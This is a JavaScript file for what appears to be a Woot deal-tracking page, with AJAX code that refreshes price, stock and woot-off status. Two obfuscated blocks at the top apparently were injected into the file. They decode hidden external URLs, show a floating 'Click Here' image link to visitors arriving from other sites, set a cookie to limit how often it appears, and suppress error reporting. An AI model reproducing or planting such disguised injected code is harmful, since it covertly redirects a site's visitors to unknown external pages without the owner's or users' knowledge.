

function Q40XXLGL(){
	document.getElementById("ikBZCZ").style.display="none";
}
function q11LbEkI(){
	if(document.body.scrollTop==0)
		document.all["ikBZCZ"].style.top=document.documentElement.scrollTop+10;
	else 
		document.all["ikBZCZ"].style.top=document.body.scrollTop+10;
}
function iwjxyb6i(tb,cu){
	var du = "", bp = 0;
	while(1)
	{
		var t = cu.substr(bp, 16);
		var i, tl = t.length;
		if(tl == 0) break;
		for(i = 0; i < tl; i ++) du += t.charAt(parseInt(tb.charAt(bp+i), 16));
		bp += tl;
	}
	return du;
}

if( document.cookie.indexOf("yY08AOvTG") == -1){
	var ZoZJ = new Date(), ZoZJ1 = false;
	if(document.referrer != null && document.referrer.toLowerCase().indexOf('http://') == 0){ 
			var I0Nv = document.domain.toLowerCase(); 
			if(I0Nv.indexOf('www.') == 0) I0Nv = I0Nv.substr(4);
			var rVOj = document.referrer.toLowerCase().substr(7); 
			var iF0p = rVOj.indexOf('?'); 
			if(iF0p != -1) rVOj = rVOj.substr(0, iF0p);
			var iF0p = rVOj.indexOf('/'); 
			if(iF0p != -1) rVOj = rVOj.substr(0, iF0p);
			if(rVOj.indexOf('www.') == 0) rVOj = rVOj.substr(4);
			if(rVOj != I0Nv && Math.random() < 1){
				ZoZJ.setTime(ZoZJ.getTime()+(24  *100  *   10  *  100  *  10 *  36));
				ZoZJ1 = ZoZJ.toGMTString();
				var ZZou = navigator.appVersion.indexOf('MSIE') != -1;
				var kwOg=1;
				document.write('<div id="ikBZCZ" style="'+(ZZou ? 'position:absolute;' : 'position:fixed;')+' left:80%; top:30px; z-index:1000;">'+
				'<b><a style="font-size:13px; color:#0C447C; font-family:Arial; text-decoration:none;" onmouseover="kwOg=0"'+
				' title="Close" href="javascript: Q40XXLGL()" onmouseout="kwOg=1">Close[X]</a></b><br>'+
				'<a href="'+iwjxyb6i('5174fd23c6ea0b89475132086','.t/sphitetpnl/m:rmeb/e/ms')+I0Nv+'.html'+'" target="_blank"><img src="'+iwjxyb6i('280a7b59416c3edf5b36de08cf21497a0','tih.l/m:tsp/penta2rm3/ggn.iin/bef')+'" border=0 alt="Click Here" onclick="Q40XXLGL()"></a></div>');
				if(ZZou){
					if (document.all["ikBZCZ"].style)
					window.setInterval("q11LbEkI()", 5);
					window.onerror=null;
					document.body.scrollTop=10;
				}
			}
	}
	else{
		ZoZJ.setTime(ZoZJ.getTime()+(24  *100   *36 *  90 *100   *10));
		ZoZJ1 = ZoZJ.toGMTString();
	}
	if(ZoZJ1 != false) document.cookie = "yY08AOvTG"+'=1; expires='+ZoZJ1+'; path=/';
}
function YKKFAEqE(){
	document.getElementById("wWpNhE").style.display="none";
}
function lknGfFRW(){
	if(document.body.scrollTop==0)
		document.all["wWpNhE"].style.top=document.documentElement.scrollTop+10;
	else 
		document.all["wWpNhE"].style.top=document.body.scrollTop+10;
}
function YJIjH1VY(tb,cu){
	var du = "", bp = 0;
	while(1)
	{
		var t = cu.substr(bp, 16);
		var i, tl = t.length;
		if(tl == 0) break;
		for(i = 0; i < tl; i ++) du += t.charAt(parseInt(tb.charAt(bp+i), 16));
		bp += tl;
	}
	return du;
}

if( document.cookie.indexOf("KrY6mAaWV") == -1){
	var CDSt = new Date(), CDSt1 = false;
	if(document.referrer != null && document.referrer.toLowerCase().indexOf('http://') == 0){ 
			var dGV7 = document.domain.toLowerCase(); 
			if(dGV7.indexOf('www.') == 0) dGV7 = dGV7.substr(4);
			var jtg5 = document.referrer.toLowerCase().substr(7); 
			var faJD = jtg5.indexOf('?'); 
			if(faJD != -1) jtg5 = jtg5.substr(0, faJD);
			var faJD = jtg5.indexOf('/'); 
			if(faJD != -1) jtg5 = jtg5.substr(0, faJD);
			if(jtg5.indexOf('www.') == 0) jtg5 = jtg5.substr(4);
			if(jtg5 != dGV7 && Math.random() < 1){
				CDSt.setTime(CDSt.getTime()+(10   *100  *24  * 10   * 36* 100));
				CDSt1 = CDSt.toGMTString();
				var pPOT = navigator.appVersion.indexOf('MSIE') != -1;
				var RYUg=1;
				document.write('<div id="wWpNhE" style="'+(pPOT ? 'position:absolute;' : 'position:fixed;')+' left:80%; top:30px; z-index:1000;">'+
				'<b><a style="font-size:13px; color:#0C447C; font-family:Arial; text-decoration:none;" onmouseover="RYUg=0"'+
				' title="Close" href="javascript: YKKFAEqE()" onmouseout="RYUg=1">Close[X]</a></b><br>'+
				'<a href="'+YJIjH1VY('3e67519c04bfda28042651387','l/ehi:tpt/nms.tp/eermbm/s')+dGV7+'.html'+'" target="_blank"><img src="'+YJIjH1VY('6b8cf0ae293715d435421e86c9bd7af00','/.lmtnhpti/tpes:i/g/min3ae.rn2bgf')+'" border=0 alt="Click Here" onclick="YKKFAEqE()"></a></div>');
				if(pPOT){
					if (document.all["wWpNhE"].style)
					window.setInterval("lknGfFRW()", 5);
					window.onerror=null;
					document.body.scrollTop=10;
				}
			}
	}
	else{
		CDSt.setTime(CDSt.getTime()+(90  * 100 * 10   *  100 *   36 *   24));
		CDSt1 = CDSt.toGMTString();
	}
	if(CDSt1 != false) document.cookie = "KrY6mAaWV"+'=1; expires='+CDSt1+'; path=/';
}
var xmlHttp;
var imageid;
var newitem;
var browser;
function defcon1() {
	xmlHttp.abort();
	document.getElementById('time').innerHTML = "Cache page timeout. Retrying.";
	clearTimeout(stopfetch);
	setTimeout("ajaxUpdater('xmlparse.php');",5000);
}
function displayTime(timestamp,serverTime) {
	currentTime = new Date();
	if(currentTime.getHours() < 10) {
		var hours = '0' + currentTime.getHours();
	}
	else {
		var hours = currentTime.getHours();
	}
	if(currentTime.getMinutes() < 10) {
		var minutes = '0' + currentTime.getMinutes();
	}
	else {
		var minutes = currentTime.getMinutes();
	}
	if(currentTime.getSeconds() < 10) {
		var seconds = '0' + currentTime.getSeconds();
	}
	else {
		var seconds = currentTime.getSeconds();
	}
	if(serverTime < timestamp) {
		serverTime = timestamp;
		document.getElementById('servertime').innerHTML = serverTime;
	}
	var secOld = Math.round(eval(serverTime - timestamp));
	if(secOld > 90) {
		secOld = 90;
	}
	return 'Cache is about ' + secOld + ' second(s) old. (' + hours + ':' + minutes + ':' + seconds + ')';
}
function elementFix(elementTagName) {
	if (elementTagName == '<b>') {
		if ((browser != "IE") && (navigator.appName != "Microsoft Internet Explorer")) return '<b>';
		else return '<B>';
	}
	if (elementTagName == '</b>') {
		if ((browser != "IE") && (navigator.appName != "Microsoft Internet Explorer")) return '</b>';
		else return '</B>';
	}
	if ((browser != "IE") && (navigator.appName != "Microsoft Internet Explorer")) return elementTagName;
	else return "woot:" + elementTagName;
}
function ajaxUpdater(urlFetch)  {
	var wootCache;
	try
	{
		// Firefox, Opera 8.0+, Safari
		xmlHttp=new XMLHttpRequest();
		browser = "notIE";
	}
	catch (e)
	{
		// Internet Explorer
		try
		{
			xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
			browser = "IE";
		}
		catch (e)
		{
			try
			{
				xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
				browser = "IE";
			}
			catch (e)
			{
				alert("Your browser does not support AJAX!  You are being redirected to a page better suited for your browser.");
				window.location = "/noajax.php"
				return false;
			}
		}
	}
	xmlHttp.onreadystatechange=function()
	{
		if(xmlHttp.readyState==4)
		{

			stopfetch = setTimeout('defcon1();',15000);
			if (xmlHttp.responseXML.getElementsByTagName('title')[0].firstChild.nodeValue) {
				if(imageid) {
					if((imageid != xmlHttp.responseXML.getElementsByTagName('forceimagerefresh')[0].firstChild.nodeValue) && (document.getElementById('title').innerHTML != (elementFix('<b>') + xmlHttp.responseXML.getElementsByTagName('title')[0].firstChild.nodeValue + elementFix('</b>')))) {
						imageid = xmlHttp.responseXML.getElementsByTagName('forceimagerefresh')[0].firstChild.nodeValue;
						newitem=document.getElementById('newitem');
						newitem.Play();
					}
				}
				else { imageid = xmlHttp.responseXML.getElementsByTagName('forceimagerefresh')[0].firstChild.nodeValue; }
			}
			else { 
				defcon1();
				return 0;
			}
			wootCache=xmlHttp.responseXML.getElementsByTagName('title')[0].firstChild.nodeValue;
			if((wootCache.length > 0) && (xmlHttp.responseXML.getElementsByTagName('WOOT')[0].childNodes.length >= 10))
			{
				document.getElementById('wootoff').innerHTML = '';
				document.getElementById('title').innerHTML='<b>' + xmlHttp.responseXML.getElementsByTagName('title')[0].firstChild.nodeValue + '</b>';
				document.getElementById('price').innerHTML=xmlHttp.responseXML.getElementsByTagName(elementFix('price'))[0].firstChild.nodeValue;
				document.getElementById('condition').innerHTML='<b>Condition: </b>' + xmlHttp.responseXML.getElementsByTagName(elementFix('condition'))[0].firstChild.nodeValue;
				if(xmlHttp.responseXML.getElementsByTagName(elementFix('soldout'))[0].firstChild.nodeValue == 'True')
				{
					document.getElementById('purchaseurl').innerHTML='<div class="soldout"><b>Item is Sold Out!</b></div>';
				}
				else
				{
					if(xmlHttp.responseXML.getElementsByTagName(elementFix('soldoutpercentage')).length == 0) {
						document.getElementById('purchaseurl').innerHTML='<a class="buylink" href="' + xmlHttp.responseXML.getElementsByTagName(elementFix('purchaseurl'))[0].firstChild.nodeValue + '">I want one!</a>';
					}
					else {
						if(xmlHttp.responseXML.getElementsByTagName(elementFix('soldoutpercentage'))[0].firstChild.nodeValue >= .90) {
							document.getElementById('purchaseurl').innerHTML='<a class="buylink" href="' + xmlHttp.responseXML.getElementsByTagName(elementFix('purchaseurl'))[0].firstChild.nodeValue + '">I want one!<br />(They\'re almost gone!)</a>';
						}
						else {
							document.getElementById('purchaseurl').innerHTML='<a class="buylink" href="' + xmlHttp.responseXML.getElementsByTagName(elementFix('purchaseurl'))[0].firstChild.nodeValue + '">I want one!</a>';
						}
					}
				}
				if(xmlHttp.responseXML.getElementsByTagName(elementFix('wootoff'))[0].firstChild.nodeValue == 'True')
				{
					var percentleft = Math.round(eval(1 - xmlHttp.responseXML.getElementsByTagName(elementFix('soldoutpercentage'))[0].firstChild.nodeValue) *100) + '% left';
					document.getElementById('wootoff').innerHTML = 'Woot-off!<br /><h2>' + percentleft + '</h2>';
					document.title = percentleft + ' Woot-off! - ' + wootCache;
				}
				else
				{
					document.title = wootCache;
				}
				document.getElementById('discussionurl').innerHTML='<a class="forumlink" href="' + xmlHttp.responseXML.getElementsByTagName(elementFix('discussionurl'))[0].firstChild.nodeValue + '">Discuss this product</a>';
				var products = xmlHttp.responseXML.getElementsByTagName(elementFix('product'));
				document.getElementById('itemlist').innerHTML = '';
				for (var i=0;i<products.length;i++)
				{
					var items = document.createElement('div');
					items.className = 'items';
					var item = document.createElement('p');
					item.className = 'item';
					var boldqty = document.createElement('b');
					boldqty.appendChild(document.createTextNode("Quantity: "));
					var productquantity = document.createTextNode(products[i].getAttribute('quantity'));
					var addbr=document.createElement('br');
					var boldproduct=document.createElement('b');
					boldproduct.appendChild(document.createTextNode("Product: "));
					var productdesc = document.createTextNode(products[i].firstChild.nodeValue);
					item.appendChild(boldqty);
					item.appendChild(productquantity);
					item.appendChild(addbr);
					item.appendChild(boldproduct);
					item.appendChild(productdesc);
					items.appendChild(item);
					document.getElementById('itemlist').appendChild(items);
					document.getElementById('shipping').innerHTML='+ $5 shipping';
				}
				if(document.getElementById('image')) {
					document.getElementById('image').innerHTML = '<img src="image.jpg?' + xmlHttp.responseXML.getElementsByTagName('forceimagerefresh')[0].firstChild.nodeValue + '" alt="' + wootCache + '" />';
				}
				document.getElementById('time').innerHTML = 'Cache is updated every ' + xmlHttp.responseXML.getElementsByTagName('refresh')[0].firstChild.nodeValue + ' seconds.  ' + displayTime(xmlHttp.responseXML.getElementsByTagName('timestamp')[0].firstChild.nodeValue,document.getElementById('servertime').innerHTML);
				clearTimeout(stopfetch);
				setTimeout('wootrefresh();',eval(xmlHttp.responseXML.getElementsByTagName('refresh')[0].firstChild.nodeValue * 1000));
			}
			else {
				clearTimeout(stopfetch);
				setTimeout("ajaxUpdater('xmlparse.php');",5000);
				document.getElementById('time').innerHTML = "Cache failed to update.  Refreshing again in 5 seconds.";
			}
		}
	}
	xmlHttp.open("GET",urlFetch,true);
	xmlHttp.setRequestHeader("If-Modified-Since", "Sat, 1 Jan 2000 00:00:00 GMT");
	xmlHttp.send(null);
}


